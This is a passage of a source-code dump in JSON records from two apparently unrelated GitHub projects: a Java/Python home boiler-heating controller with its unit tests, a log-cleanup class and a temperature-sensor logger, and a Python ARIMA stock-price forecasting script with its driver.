MAX_LOG_FILE_ALIVE_TIME_IN_DAYS, new LogDescriptor(BOILER_LOG, 32),\n new LogDescriptor(FILL_LEVEL_LOG, 32), new LogDescriptor(COSTS_LOG, 10 * 365 + 1))); // 10 years\n\n TimerTask boilerTaskImpl = new BoilerTaskImpl(\n new BoilerScheduleImpl(temperaturActionFilterList, informationProviderList));\n\n Timer timer = new Timer();\n timer.schedule(boilerTaskImpl, 1000l, 30000l);\n }\n}"
},
{
"alpha_fraction": 0.7453504800796509,
"alphanum_fraction": 0.7510729432106018,
"avg_line_length": 34.846153259277344,
"blob_id": "ef064252d025bccdc46936e9d09de39f55ea24c8",
"content_id": "c49c54af1500b3248604bfd6ae6ff63e26935ef7",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1398,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 39,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/filter/TemperatureActionFilterMindesttemperaturUnterTag.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.filter;\n\nimport org.apache.logging.log4j.Level;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport de.schleger.boiler.analyze.TemperatureAnalyzer;\nimport de.schleger.boiler.temperature.Temperature;\nimport de.schleger.boiler.temperature.TemperatureImpl;\nimport de.schleger.boiler.time.TimeProvider;\n\npublic class TemperatureActionFilterMindesttemperaturUnterTag implements TemperatureActionFilter {\n\n private static final Logger LOG = LogManager.getLogger(TemperatureActionFilterMindesttemperaturUnterTag.class);\n\n // TODO Wert aus Config verwenden\n private static final Temperature MIN_TEMPERATURE = new TemperatureImpl(20.00f);\n private TemperatureAnalyzer analyzer;\n private TimeProvider timeProvider;\n\n public TemperatureActionFilterMindesttemperaturUnterTag(TemperatureAnalyzer analyzer, TimeProvider timeProvider) {\n this.analyzer = analyzer;\n this.timeProvider = timeProvider;\n }\n\n @Override\n public boolean filter() {\n // TODO heizt noch nicht\n if (!timeProvider.isNight() && MIN_TEMPERATURE.compareTo(analyzer.getAverageTemperature()) > 0) {\n LOG.log(Level.INFO, \"Mindesttemperatur unterschritten, erzeuge Target mit Temperatur: \"\n + MIN_TEMPERATURE.getTemperature());\n\n return true;\n }\n\n return false;\n }\n\n}\n"
},
{
"alpha_fraction": 0.7635095715522766,
"alphanum_fraction": 0.7704823017120361,
"avg_line_length": 36.41304397583008,
"blob_id": "965011f9cbbb3323e6d11259055a11703ac5de6b",
"content_id": "997d126bfaf1484c4a0b8b3c94f998930c54e274",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1721,
"license_type": "permissive",
"max_line_length": 112,
"num_lines": 46,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/filter/TemperatureActionFilterMindesttemperaturUnterTagTest.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.filter;\n\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.junit.Assert.assertThat;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport de.schleger.boiler.analyze.DummyTemperatureAnalyzer;\nimport de.schleger.boiler.temperature.TemperatureImpl;\nimport de.schleger.boiler.time.DummyTimeProvider;\n\npublic class TemperatureActionFilterMindesttemperaturUnterTagTest {\n private TemperatureActionFilterMindesttemperaturUnterTag mindesttemperaturFilter;\n private DummyTemperatureAnalyzer dummyTemperatureProvider;\n private DummyTimeProvider dummyTimeProvider;\n\n @Before\n public void setUp() {\n dummyTimeProvider = new DummyTimeProvider();\n dummyTemperatureProvider = new DummyTemperatureAnalyzer();\n mindesttemperaturFilter = new TemperatureActionFilterMindesttemperaturUnterTag(dummyTemperatureProvider,\n dummyTimeProvider);\n }\n\n @Test\n public void temperaturUeberMindesttemperatur() {\n dummyTimeProvider.setNight(false);\n dummyTemperatureProvider.setTemperature(new TemperatureImpl(55.76f));\n assertThat(mindesttemperaturFilter.filter(), equalTo(false));\n }\n\n @Test\n public void temperaturUnterMindesttemperaturAberTag() {\n dummyTimeProvider.setNight(false);\n dummyTemperatureProvider.setTemperature(new TemperatureImpl(17.76f));\n assertThat(mindesttemperaturFilter.filter(), equalTo(true));\n }\n\n @Test\n public void temperaturUnterMindesttemperaturInNacht() {\n dummyTimeProvider.setNight(true);\n dummyTemperatureProvider.setTemperature(new TemperatureImpl(14.76f));\n assertThat(mindesttemperaturFilter.filter(), equalTo(false));\n }\n}\n"
},
{
"alpha_fraction": 0.7991735339164734,
"alphanum_fraction": 0.7991735339164734,
"avg_line_length": 36.8125,
"blob_id": "8ee040d3c798769105f806699f475b4a709eddb9",
"content_id": "d40e166f697cfb9fd87a7d2d69f843dd61581341",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1210,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 32,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/filter/TemperatureActionFilterNachtHeizungNormal.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.filter;\n\nimport java.time.LocalDateTime;\n\nimport de.schleger.boiler.analyze.TemperatureAnalyzer;\nimport de.schleger.boiler.config.ConfigProviderIn;\nimport de.schleger.boiler.heat.HeatTimeCalculator;\nimport de.schleger.boiler.model.BoilerModel;\nimport de.schleger.boiler.temperature.Temperature;\nimport de.schleger.boiler.time.TimeProvider;\n\npublic class TemperatureActionFilterNachtHeizungNormal extends AbstractTemperaturActionFilterNachtHeizung {\n private TimeProvider timeProvider;\n private ConfigProviderIn configProviderIn;\n\n public TemperatureActionFilterNachtHeizungNormal(TimeProvider timeProvider, ConfigProviderIn configProviderIn,\n TemperatureAnalyzer temperatureAnalyzer, BoilerModel boilerModel, HeatTimeCalculator heatTimeCalculator) {\n super(timeProvider, boilerModel, temperatureAnalyzer, heatTimeCalculator);\n this.timeProvider = timeProvider;\n this.configProviderIn = configProviderIn;\n }\n\n @Override\n Temperature getTargetTemperature() {\n return configProviderIn.getTargetTemperature();\n }\n\n @Override\n LocalDateTime getEndTime() {\n return timeProvider.getNextNachtheizungEndTime();\n }\n}\n"
},
{
"alpha_fraction": 0.7104845643043518,
"alphanum_fraction": 0.73268723487854,
"avg_line_length": 40.43065643310547,
"blob_id": "f5065738a4f590ac5461524283b9b3397f066075",
"content_id": "5e81f4aa7c47745c85feb1a92a2848bd4fe320ee",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 5675,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 137,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/filter/AbstractTemperatureActionFilterNachtHeizungTest.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.filter;\n\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.junit.Assert.assertThat;\n\nimport java.time.LocalDateTime;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport de.schleger.boiler.analyze.DummyTemperatureAnalyzer;\nimport de.schleger.boiler.analyze.TemperatureAnalyzer;\nimport de.schleger.boiler.config.HeatPower;\nimport de.schleger.boiler.heat.DummyHeatTimeCalculator;\nimport de.schleger.boiler.heat.HeatTimeCalculator;\nimport de.schleger.boiler.model.BoilerModel;\nimport de.schleger.boiler.temperature.Temperature;\nimport de.schleger.boiler.temperature.TemperatureImpl;\nimport de.schleger.boiler.time.DummyTimeProvider;\nimport de.schleger.boiler.time.TimeProvider;\n\npublic class AbstractTemperatureActionFilterNachtHeizungTest {\n private DummyTimeProvider dummyTimeProvider;\n private DummyTemperatureAnalyzer dummyTemperatureAnalyzer;\n private BoilerModel boilerModel;\n private DummyHeatTimeCalculator dummyHeatTimeCalculator;\n\n private AbstractTemperaturActionFilterNachtHeizungExtension abstractActionFilter;\n\n @Before\n public void setUp() {\n dummyTimeProvider = new DummyTimeProvider();\n dummyTemperatureAnalyzer = new DummyTemperatureAnalyzer();\n boilerModel = new BoilerModel();\n dummyHeatTimeCalculator = new DummyHeatTimeCalculator();\n abstractActionFilter = new AbstractTemperaturActionFilterNachtHeizungExtension(dummyTimeProvider, boilerModel,\n dummyTemperatureAnalyzer, dummyHeatTimeCalculator);\n }\n\n @Test\n public void noHeatingOnDay() {\n dummyTimeProvider.setNight(false);\n dummyTimeProvider.setTime(LocalDateTime.of(2010, 8, 5, 10, 0));\n\n assertThat(abstractActionFilter.filter(), equalTo(false));\n assertThat(boilerModel.getHeatPower(), equalTo(HeatPower.HEAT_POWER_0));\n }\n\n @Test\n public void exitWhenEndTimeIsMoreThan12HoursAway() {\n dummyTimeProvider.setNight(true);\n dummyTimeProvider.setTime(LocalDateTime.of(2010, 8, 5, 10, 0));\n abstractActionFilter.setEndTime(LocalDateTime.of(2010, 8, 5, 22, 1));\n\n assertThat(abstractActionFilter.filter(), equalTo(false));\n assertThat(boilerModel.getHeatPower(), equalTo(HeatPower.HEAT_POWER_0));\n }\n\n @Test\n public void noHeatIfNoHeatingTime() {\n dummyTimeProvider.setNight(true);\n dummyTimeProvider.setTime(LocalDateTime.of(2010, 8, 5, 0, 0));\n dummyHeatTimeCalculator.setTimetoHeat(0);\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(60f));\n abstractActionFilter.setTargetTemperature(new TemperatureImpl(50f));\n abstractActionFilter.setEndTime(LocalDateTime.of(2010, 8, 5, 6, 0));\n\n assertThat(abstractActionFilter.filter(), equalTo(false));\n assertThat(dummyHeatTimeCalculator.getStartTemp().getTemperature(), equalTo(60f));\n assertThat(dummyHeatTimeCalculator.getEndTemp().getTemperature(), equalTo(50f));\n assertThat(dummyHeatTimeCalculator.getHeatPower(), equalTo(HeatPower.HEAT_POWER_3));\n assertThat(boilerModel.getHeatPower(), equalTo(HeatPower.HEAT_POWER_0));\n }\n\n @Test\n public void waitsForHeatingEndTime() {\n LocalDateTime timecalculated = LocalDateTime.of(2010, 8, 5, 21, 0);\n LocalDateTime endHeizung = LocalDateTime.of(2010, 8, 5, 22, 0);\n\n dummyTimeProvider.setNight(true);\n dummyTimeProvider.setTime(LocalDateTime.of(2010, 8, 5, 15, 0));\n dummyHeatTimeCalculator.setTimetoHeat(60);\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(60f));\n abstractActionFilter.setTargetTemperature(new TemperatureImpl(50f));\n abstractActionFilter.setEndTime(endHeizung);\n dummyTimeProvider.setDateAddMinutesToTime(timecalculated);\n\n assertThat(abstractActionFilter.filter(), equalTo(false));\n assertThat(boilerModel.getHeatPower(), equalTo(HeatPower.HEAT_POWER_0));\n }\n\n @Test\n public void heatingEndTimeIsOver() {\n LocalDateTime timecalculated = LocalDateTime.of(2010, 8, 5, 23, 0);\n LocalDateTime endHeizung = LocalDateTime.of(2010, 8, 5, 22, 0);\n\n dummyTimeProvider.setNight(true);\n dummyTimeProvider.setTime(LocalDateTime.of(2010, 8, 5, 15, 0));\n dummyHeatTimeCalculator.setTimetoHeat(60);\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(60f));\n abstractActionFilter.setTargetTemperature(new TemperatureImpl(50f));\n abstractActionFilter.setEndTime(endHeizung);\n dummyTimeProvider.setDateAddMinutesToTime(timecalculated);\n\n assertThat(abstractActionFilter.filter(), equalTo(true));\n assertThat(boilerModel.getHeatPower(), equalTo(HeatPower.HEAT_POWER_3));\n }\n\n private final class AbstractTemperaturActionFilterNachtHeizungExtension\n extends AbstractTemperaturActionFilterNachtHeizung {\n private LocalDateTime time;\n private Temperature temperature;\n\n private AbstractTemperaturActionFilterNachtHeizungExtension(TimeProvider timeProvider, BoilerModel boilerModel,\n TemperatureAnalyzer temperatureAnalyzer, HeatTimeCalculator heatTimeCalculator) {\n super(timeProvider, boilerModel, temperatureAnalyzer, heatTimeCalculator);\n }\n\n @Override\n Temperature getTargetTemperature() {\n return temperature;\n }\n\n @Override\n LocalDateTime getEndTime() {\n return time;\n }\n\n void setTargetTemperature(Temperature temperature) {\n this.temperature = temperature;\n }\n\n void setEndTime(LocalDateTime time) {\n this.time = time;\n }\n }\n}"
},
{
"alpha_fraction": 0.6511558890342712,
"alphanum_fraction": 0.6523414254188538,
"avg_line_length": 34.15625,
"blob_id": "bbfbf7bd5284483ad45a59cb322d29a2df12a2bd",
"content_id": "b325f73a66a0f72c3ca3dfecb606907c3aa3e76e",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3377,
"license_type": "permissive",
"max_line_length": 110,
"num_lines": 96,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/log/LogFileChecker.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.log;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.time.Instant;\nimport java.time.LocalDateTime;\nimport java.time.ZoneOffset;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport org.apache.logging.log4j.Level;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport de.schleger.boiler.information.InformationUpdater;\nimport de.schleger.boiler.time.TimeProvider;\n\npublic class LogFileChecker implements InformationUpdater {\n private static final int LOG_FILE_CHECK_INTERVAL_IN_DAYS = 1;\n\n private static final Logger LOG = LogManager.getLogger(LogFileChecker.class);\n\n private File logDirectory;\n private int maxLogFileAliveTime;\n private TimeProvider timeProvider;\n private List<LogDescriptor> logList;\n\n private LocalDateTime timeLastFileCheck;\n\n public LogFileChecker(TimeProvider timeProvider, File logDirectory, int maxLogFileAliveTime,\n LogDescriptor... logDescriptor) {\n this.timeProvider = timeProvider;\n this.logDirectory = logDirectory;\n this.maxLogFileAliveTime = maxLogFileAliveTime;\n logList = Arrays.asList(logDescriptor);\n }\n\n @Override\n public void update() {\n if (hasCheckerToRun()) {\n checkAndDeleteOldFiles();\n }\n }\n\n private boolean hasCheckerToRun() {\n if (timeLastFileCheck == null) {\n return true;\n }\n\n return timeLastFileCheck.plusDays(LOG_FILE_CHECK_INTERVAL_IN_DAYS).isBefore(timeProvider.getTime());\n }\n\n public void checkAndDeleteOldFiles() {\n try {\n // Checkt jedes File ob es gelöscht werden muss\n String[] paths = logDirectory.list();\n for (String filePath : paths) {\n Path completeFilePath = new File(logDirectory + \"/\" + filePath).toPath();\n\n for (LogDescriptor logDescriptor : logList) {\n if (filePath.contains(logDescriptor.getPath())) {\n if (isFileOldEnoughToDelete(completeFilePath, logDescriptor.getLifeTimeInDays())) {\n deleteFile(completeFilePath);\n }\n } else {\n if (isFileOldEnoughToDelete(completeFilePath, maxLogFileAliveTime)) {\n deleteFile(completeFilePath);\n }\n }\n }\n }\n // Update Time\n timeLastFileCheck = timeProvider.getTime();\n } catch (Exception e) {\n LOG.log(Level.ERROR, \"Fehler beim prüfen der Logfiles\", e);\n }\n }\n\n private void deleteFile(Path completeFilePath) throws IOException {\n LOG.log(Level.INFO, \"lösche Log File: \" + completeFilePath);\n Files.delete(completeFilePath);\n }\n\n private boolean isFileOldEnoughToDelete(Path completeFilePath, int logLifeTimeInDays) throws IOException {\n Instant instant = Instant.ofEpochMilli(Files.getLastModifiedTime(completeFilePath).toMillis());\n LocalDateTime LastModifiedTimeOfFile = LocalDateTime.ofInstant(instant, ZoneOffset.systemDefault());\n\n if (LastModifiedTimeOfFile.plusDays(logLifeTimeInDays).isBefore(timeProvider.getTime())) {\n return true;\n }\n\n return false;\n }\n}"
},
{
"alpha_fraction": 0.6276595592498779,
"alphanum_fraction": 0.6628122329711914,
"avg_line_length": 31.75757598876953,
"blob_id": "06fcfae8aa99fc9c5a3b9c025aada0a38497dfbd",
"content_id": "66a855a62a78344e0a0269e4ba9bab107c9a02fb",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2162,
"license_type": "permissive",
"max_line_length": 89,
"num_lines": 66,
"path": "/usr/bin/sensor-ir",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# Copyright (c) 2014 Adafruit Industries\n# Author: Tony DiCola\n\n# Can enable debug output by uncommenting:\n#import logging\n#logging.basicConfig(level=logging.DEBUG)\n\nimport time\nimport datetime\nimport logging\nfrom logging.handlers import TimedRotatingFileHandler\n\nimport Adafruit_TMP.TMP006 as TMP006\n\n\n#----------------------------------------------------------------------\ndef create_timed_rotating_log(path):\n \"\"\"\"\"\"\n logger = logging.getLogger(\"Temperature Logger\")\n logger.setLevel(logging.INFO)\n\n handler = TimedRotatingFileHandler(path,\n when=\"midnight\",\n interval=1,\n backupCount=32)\n logger.addHandler(handler)\n\n return logger\n\n#----------------------------------------------------------------------\nlog_file = \"/var/log/temperature/temp.log\"\nlogger = create_timed_rotating_log(log_file)\n\n\n# Define a function to convert celsius to fahrenheit.\ndef c_to_f(c):\n\t\treturn c * 9.0 / 5.0 + 32.0\n\n\n# Default constructor will use the default I2C address (0x40) and pick a default I2C bus.\n#\n# For the Raspberry Pi this means you should hook up to the only exposed I2C bus\n# from the main GPIO header and the library will figure out the bus number based\n# on the Pi's revision.\nsensor = TMP006.TMP006()\n\n# Optionally you can override the address and/or bus number:\n#sensor = TMP006.TMP006(address=0x42, busnum=2)\n\n# Initialize communication with the sensor, using the default 16 samples per conversion.\n# This is the best accuracy but a little slower at reacting to changes.\nsensor.begin()\n\n# Optionally initialize with a faster but less precise sample rate. You can use\n# any value from TMP006_CFG_1SAMPLE, TMP006_CFG_2SAMPLE, TMP006_CFG_4SAMPLE, \n# TMP006_CFG_8SAMPLE, or TMP006_CFG_16SAMPLE for the sample rate.\nsensor.begin(samplerate=TMP006.CFG_16SAMPLE)\n\n# Loop printing measurements every second.\nprint 'Press Ctrl-C to quit.'\nwhile True:\n\tobj_temp = sensor.readObjTempC()\n\tnow = datetime.datetime.now().replace(microsecond=0)\n\tlogger.info('{0} {1:0.2F}'.format(now.isoformat(), obj_temp))\n\ttime.sleep(4)\n"
},
{
"alpha_fraction": 0.5412048101425171,
"alphanum_fraction": 0.6221686601638794,
"avg_line_length": 34.169490814208984,
"blob_id": "3977e65b5a34b02fa8eaabff25368c8c53f63483",
"content_id": "4357a5db723b7a3b596788f51d64cc0656d23288",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2080,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 59,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/heat/HeatTimeInterpolatorImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.heat;\n\nimport org.apache.commons.math3.analysis.interpolation.SplineInterpolator;\nimport org.apache.commons.math3.analysis.polynomials.PolynomialSplineFunction;\n\nimport de.schleger.boiler.config.HeatPower;\n\npublic class HeatTimeInterpolatorImpl implements HeatTimeInterpolator {\n private PolynomialSplineFunction interpolate2;\n private PolynomialSplineFunction interpolate3;\n\n public HeatTimeInterpolatorImpl() {\n SplineInterpolator splineInterpolator = new SplineInterpolator();\n\n // TODO werte für Stufe sind alle nur geschätz und müssen entsprechend bei verwendung nachgetragen werden\n // Temperature delta / Zeit in min\n // Stufe 2\n // 50 800 // OLD\n // 24,8 450 // OLD\n // 7,0 270 // OLD\n // 3,5 150 // OLD\n // 0 90 // OLD\n double[] x2 = { 0.0f, 3.5f, 7.0f, 24.8f, 50.0f, Float.MAX_VALUE };\n double[] y2 = { 90f, 150f, 270f, 450f, 800f, Float.MAX_VALUE };\n interpolate2 = splineInterpolator.interpolate(x2, y2);\n\n // Stufe 3 (ungefähr 13 Grad Pro Stunde steigung ab NullPunkt)\n // 46,0 250\n // 23,0 140\n // 15,5 120\n // 13,0 110\n // 10,5 100\n // 7,2 85\n // 3,0 65\n // 2,0 60\n // 0 50\n double[] x3 = { 0f, 2.0f, 3.0f, 7.2f, 10.5f, 13.0f, 15.5f, 23.0f, 46.0f, Float.MAX_VALUE };\n double[] y3 = { 50f, 60f, 65f, 85f, 100f, 110f, 120f, 140f, 250f, Float.MAX_VALUE };\n interpolate3 = splineInterpolator.interpolate(x3, y3);\n\n }\n\n @Override\n public Float interpolateTimeToHeat(float deltaTemperature, HeatPower heatPower) {\n switch (heatPower) {\n case HEAT_POWER_3:\n return (float) interpolate3.value(deltaTemperature);\n\n case HEAT_POWER_2:\n return (float) interpolate2.value(deltaTemperature);\n\n case HEAT_POWER_1:\n return (float) interpolate2.value(deltaTemperature) / 2 * 3; // TODO Werte bei bedarf für Stufe 1 eintragen\n\n default:\n return new Float(0f);\n }\n }\n}\n"
},
{
"alpha_fraction": 0.69501131772995,
"alphanum_fraction": 0.69501131772995,
"avg_line_length": 22.83783721923828,
"blob_id": "871de74ebad62bf37e116cf0c9e307611fe44962",
"content_id": "366caab7d1655542026efe0ec3920e2393bbc7e4",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 882,
"license_type": "permissive",
"max_line_length": 91,
"num_lines": 37,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/heat/DummyHeatTimeCalculator.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.heat;\n\nimport de.schleger.boiler.config.HeatPower;\nimport de.schleger.boiler.temperature.Temperature;\n\npublic class DummyHeatTimeCalculator implements HeatTimeCalculator {\n\n private int timetoHeat;\n private Temperature startTemp;\n private Temperature endTemp;\n private HeatPower heatPower;\n\n @Override\n public int calculate(Temperature startTemp, Temperature endTemp, HeatPower heatPower) {\n this.startTemp = startTemp;\n this.endTemp = endTemp;\n this.heatPower = heatPower;\n\n return timetoHeat;\n }\n\n public void setTimetoHeat(int timetoHeat) {\n this.timetoHeat = timetoHeat;\n }\n\n public Temperature getStartTemp() {\n return startTemp;\n }\n\n public Temperature getEndTemp() {\n return endTemp;\n }\n\n public HeatPower getHeatPower() {\n return heatPower;\n }\n}\n"
}
] | 44 |
olivervillegas/ARIMA | https://github.com/olivervillegas/ARIMA | 0041c1637fcfb92f217e810a6952eb93d2adda16 | 9cc3ce6714f82e9c8d4babf46996516a38e1d444 | fbde92f964c905374d120a7cbe5d8aa15b380249 | refs/heads/master | 2023-01-04T07:03:01.334200 | 2020-10-30T04:42:13 | 2020-10-30T04:42:13 | 308,526,787 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6479452252388,
"alphanum_fraction": 0.7301369905471802,
"avg_line_length": 26.05555534362793,
"blob_id": "60e48c4aa9fa8ad7ad7372cbf90763d97d5ff644",
"content_id": "4d0b09d4e9eff59ccb5090dbfa94d496bea6a1ad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1460,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 54,
"path": "/main.py",
"repo_name": "olivervillegas/ARIMA",
"src_encoding": "UTF-8",
"text": "from stock import stock\n\nGOOGLE = stock('GOOGL.csv', \"ARIMA: Google\", 0.988114105)\nAPPLE = stock('AAPL.csv', \"ARIMA: Apple\", 0.988114105)\nAMAZON = stock('AMZN.csv', \"ARIMA: Amazon\", 0.988114105)\nOREILLY = stock('ORLY.csv', \"ARIMA: O'Reilly Automotive\", 0.988114105)\n\nGENMILLS = stock('GNM.csv', \"ARIMA: General Mills\", 0.988114105)\nKELLOGG = stock('KLLG.csv', \"ARIMA: Kellogg\", 0.988114105)\nCITIGROUP = stock('CITI.csv', \"ARIMA: Citigroup\", 0.988114105)\nDANONE = stock('DNN.csv', \"ARIMA: Danone\", 0.988114105)\n\nTRANSOCEAN = stock('RIG.csv', \"ARIMA: Transocean\", 0.988114105)\nMURPHYOIL = stock('MUR.csv', \"ARIMA: Murphy Oil\", 0.988114105)\nIMAX = stock('IMAX.csv', \"ARIMA: IMAX\", 0.988114105)\nFLUOR = stock('FLR.csv', \"ARIMA: Fluor\", 0.988114105)\n\n#GOOGLE.test_stationarity()\n#GOOGLE.model_and_forecast()\n\n#APPLE.test_stationarity()\n#APPLE.model_and_forecast()\n\n#AMAZON.test_stationarity()\n#AMAZON.model_and_forecast()\n\n#OREILLY.test_stationarity()\n#OREILLY.model_and_forecast()\n\n\n#GENMILLS.test_stationarity()\n#GENMILLS.model_and_forecast()\n\n#CITIGROUP.test_stationarity()\n#CITIGROUP.model_and_forecast()\n\n#DANONE.test_stationarity()\n#DANONE.model_and_forecast()\n\n#KELLOGG.test_stationarity()\n#KELLOGG.model_and_forecast()\n\n\n#TRANSOCEAN.test_stationarity()\n#TRANSOCEAN.model_and_forecast()\n\n#FLUOR.test_stationarity()\n#FLUOR.model_and_forecast()\n\n#MURPHYOIL.test_stationarity()\n#MURPHYOIL.model_and_forecast()\n\nIMAX.test_stationarity()\nIMAX.model_and_forecast()"
},
{
"alpha_fraction": 0.5944675207138062,
"alphanum_fraction": 0.6145362257957458,
"avg_line_length": 40.2835807800293,
"blob_id": "a1e33efa8ba8a6de19f8dfdcf701f6997303f9cd",
"content_id": "cf9a83713e87ea250f316dc9dd4dd6bad9184668",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5531,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 134,
"path": "/stock.py",
"repo_name": "olivervillegas/ARIMA",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom pylab import rcParams\nfrom statsmodels.tsa.stattools import adfuller\nfrom statsmodels.tsa.seasonal import seasonal_decompose\nfrom statsmodels.tsa.arima_model import ARIMA\nfrom pandas.plotting import autocorrelation_plot\nfrom statsmodels.graphics.tsaplots import plot_acf,plot_pacf\nimport math\nimport numpy as np\n\nclass stock:\n def __init__(self, file_name, title, train_size):\n self.file_name = file_name\n self.title = title\n self.train_size = train_size\n self.timeseries = pd.read_csv(file_name).reset_index()['Close']\n\n\n\n def adf_test(self, tseries):\n result = adfuller(tseries)\n labels = ['Augmented Dickey Fuller Test Statistics', 'p-value', 'Number of lags used', 'Number of observations used']\n\n for val, label in zip(result, labels):\n print(label + ' : ' + str(val))\n\n if result[1] <= 0.05:\n print(\"Reject null hypothesis, data is stationary\")\n else:\n print(\"Accept null hypothesis, data is non-stationary\")\n\n def test_stationarity(self):\n # Determing rolling statistics\n rolmean = self.timeseries.rolling(12).mean()\n rolstd = self.timeseries.rolling(12).std()\n # Plot rolling statistics:\n plt.plot(self.timeseries, color='blue', label='Original')\n plt.plot(rolmean, color='red', label='Rolling Mean')\n plt.plot(rolstd, color='black', label='Rolling Std')\n plt.legend(loc='best')\n plt.title('Rolling Mean and Standard Deviation')\n # plt.show(block=False)\n\n self.adf_test(self.timeseries)\n\n def model_and_forecast(self):\n train_data = self.timeseries[0:(int(len(self.timeseries) * self.train_size)) - 1]\n test_data = self.timeseries[int(len(self.timeseries) * self.train_size) - 1:]\n print(int(len(self.timeseries) * self.train_size))\n df = pd.read_csv(self.file_name, usecols=[0, 4])\n df1 = pd.DataFrame(df, columns=['Date', 'Close'])\n df.columns = [\"Date\", \"Close\"]\n df = df['Date'] = pd.to_datetime(df['Date'])\n\n\n df1['Close'].shift(1)\n df['Close Values First Difference'] = df1['Close'] - df1['Close'].shift(1)\n df['Close Values First Difference'] = df['Close Values First Difference'].dropna()\n df['Seasonal First Difference'] = df1['Close'] - df1['Close'].shift(260)\n df['Seasonal First Difference'] = df['Seasonal First Difference'].dropna()\n\n plt.plot(df['Close Values First Difference'])\n plt.show()\n self.adf_test(df['Close Values First Difference'])\n\n result = seasonal_decompose(self.timeseries, model='multiplicative', freq=30)\n fig = plt.figure()\n fig = result.plot()\n fig.set_size_inches(16, 9)\n fig.show()\n\n rcParams['figure.figsize'] = 10, 6\n df_log = np.log(self.timeseries)\n moving_avg = df_log.rolling(12).mean()\n std_dev = df_log.rolling(12).std()\n plt.legend(loc='best')\n plt.title('Moving Average')\n plt.plot(std_dev, color=\"black\", label=\"Standard Deviation\")\n plt.plot(moving_avg, color=\"red\", label=\"Mean\")\n plt.legend()\n plt.show()\n\n autocorrelation_plot(self.timeseries)\n plt.show()\n\n fig = plt.figure(figsize=(12, 8))\n ax1 = fig.add_subplot(211)\n fig = plot_acf(df['Close Values First Difference'].iloc[1:], lags=40, ax=ax1)\n ax2 = fig.add_subplot(212)\n fig = plot_pacf(df['Close Values First Difference'].iloc[0:], lags=40, ax=ax2)\n plt.show()\n\n model = ARIMA(train_data, order=(1, 1, 1))\n fitted = model.fit(disp=-1)\n print(fitted.summary())\n\n # Forecast\n fc, se, conf = fitted.forecast(31, alpha=0.05)\n fc_series = pd.Series(fc, index=test_data.index)\n lower_series = pd.Series(conf[:, 0], index=test_data.index)\n upper_series = pd.Series(conf[:, 1], index=test_data.index)\n #plt.figure(figsize=(5, 5), dpi=100)\n plt.plot(train_data[(len(self.timeseries) - 130):(len(self.timeseries) - len(fc_series))], label='Training')\n plt.plot(test_data, color='blue', label='Actual Stock Price')\n print(train_data)\n plt.plot(fc_series, color='orange', label='Predicted Stock Price')\n print('Forecasted: ')\n for i in range(31):\n print(fc_series[2493 + i])\n print('Lower Series')\n for i in range(31):\n print(lower_series[2493 + i])\n print('Upper Series')\n for i in range(31):\n print(upper_series[2493 + i])\n #plt.fill_between(lower_series.index, lower_series, upper_series, color='k', alpha=.10)\n plt.plot(lower_series, color = 'red', label='Lower Series')\n plt.plot(upper_series, color='green', label='Upper Series')\n plt.title(self.title + ' Stock Price Prediction')\n plt.xlabel('Business Days Since 11 Oct 2010')\n 